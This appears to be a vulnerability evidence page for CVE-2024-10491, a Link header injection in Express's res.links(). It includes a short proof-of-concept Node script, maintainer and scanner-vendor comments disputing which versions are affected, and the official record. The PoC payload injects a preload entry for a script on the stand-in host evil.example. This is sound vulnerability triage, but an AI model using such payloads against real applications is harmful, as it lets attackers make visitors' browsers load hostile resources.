CVE-2024-10491

Technical evidence

Fix

Not identified

Vulnerable code

lib/response.js, res.links(): builds `<${url}>; rel="${rel}"` by string interpolation with no encoding or validation of `>`, `,`, `;` or `"`. Attacker-controlled link values can close the URL and add extra Link entries or params. No fix found; the code is unchanged in 3.21.2, 4.0.0, 4.21.2, 5.0.0-alpha.1 and 5.2.1.

PoC

Start an express app whose handler calls res.links({next: req.query.u}) with a crafted value. Print the Link response header and check for an injected extra entry (<https://evil.example/p.js>; rel="preload").

Script

const express=require(require('path').resolve(process.argv[2],'node_modules/express'));const http=require('http');
const app=express();
app.get('/',(q,r)=>{r.links({next:q.query.u});r.end('ok')});
const s=app.listen(0,()=>{
 const u='http://a/x>; rel="next", <https://evil.example/p.js>; rel="preload"; as="script';
 http.get({port:s.address().port,path:'/?u='+encodeURIComponent(u)},res=>{console.log(res.headers.link);s.close()});
});
// run: node poc.js v5.2.1

I did not read the issue thread or any maintainer stance. Only Link header injection was tested, not browser preload behavior. It needs an app that passes untrusted input into res.links. The behavior is unchanged across 3.x, 4.x and 5.x and no patch exists, so the advisory ranges do not track a code change. I did not fetch or read any commit diff.

Discourse evidence

Express maintainers say the issue affects only the 3.x line (EOL) and was patched in v4. They say any vendor flagging 4.x or 5.x is wrong. Sonatype's advisory deviation notice says all 4.x and 5.x versions are affected. Users report scanner hits on 4.21.x and 5.x. One user says they saw identical behaviour on 3.21.2 and 5.1.0. GHSA lists <=3.21.4 and patched 4.0.0-rc1, so 5.2.1 is outside that range.

• maintainerUlisesGascondisputes target2024-12-13

  This vulnerability is relevant only for Express >=3.0.0-alpha1 <=3.21.2.

• maintainerwesleytodddisputes target2025-01-06

  this does not impact express after version `3.21.2`. If Nexus or some other vendor thinks they have a new report or this impacts more than the verified range they should use our standard security reporting methods

• maintainerwesleytodddisputes target2025-09-12

  This was patched in v4 and if you have a vendor who is reporting this specific CVE for anything other than the 3.x line of `express` they are incorrect.

• scanner vendorcdavid15 (quoting Sonatype NexusIQ)supports target2025-01-06

  this vulnerability affects all available `4.x` and `5.x` versions.

• scanner vendorlroal (quoting OSS Index)supports target2025-01-30

  Sonatype's research suggests that this CVE's details differ from those defined at NVD.

• communitymadcorgisupports target2025-09-12

  I ran the scenario reported in the CVE and am seeing the exact same result between version 3.21.2 and 5.1.0. What exactly was fixed?

• communitycdavid15disputes target2025-01-07

  this issue was indeed fixed after version `3.21.2` and is **NOT** a current vulnerability requiring a fix for `4.x` or `5.x`.

• vuln dbGitHub Advisory Databasesupports c32024-12-19

  Affected versions <= 3.21.4 Patched versions 4.0.0-rc1

• vuln dbGitHub Advisory Databasesupports c72024-12-19

  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

• vuln dbGitHub Advisory Databasesupports c52024-12-19

  Attack vector Network Attack complexity High Privileges required None User interaction None

• vuln dbGitHub Advisory Databasesupports c12024-12-19

  Express response.links function, allowing for arbitrary resource injection in the Link header

• communityveselov-asdisputes target2024-12-27

  is the sca check swearing at version 4.21.1 mb a false positive?

Jev scores

Official record

A vulnerability has been identified in the Express response.links function, allowing for arbitrary resource injection in the Link header when unsanitized data is used. The issue arises from improper sanitization in `Link` header values, which can allow a combination of characters like `,`, `;`, and `<>` to preload malicious resources. This vulnerability is especially relevant for dynamic parameters.

OSV reports for this exact version: none · CVSS 4 MEDIUM · CWE-74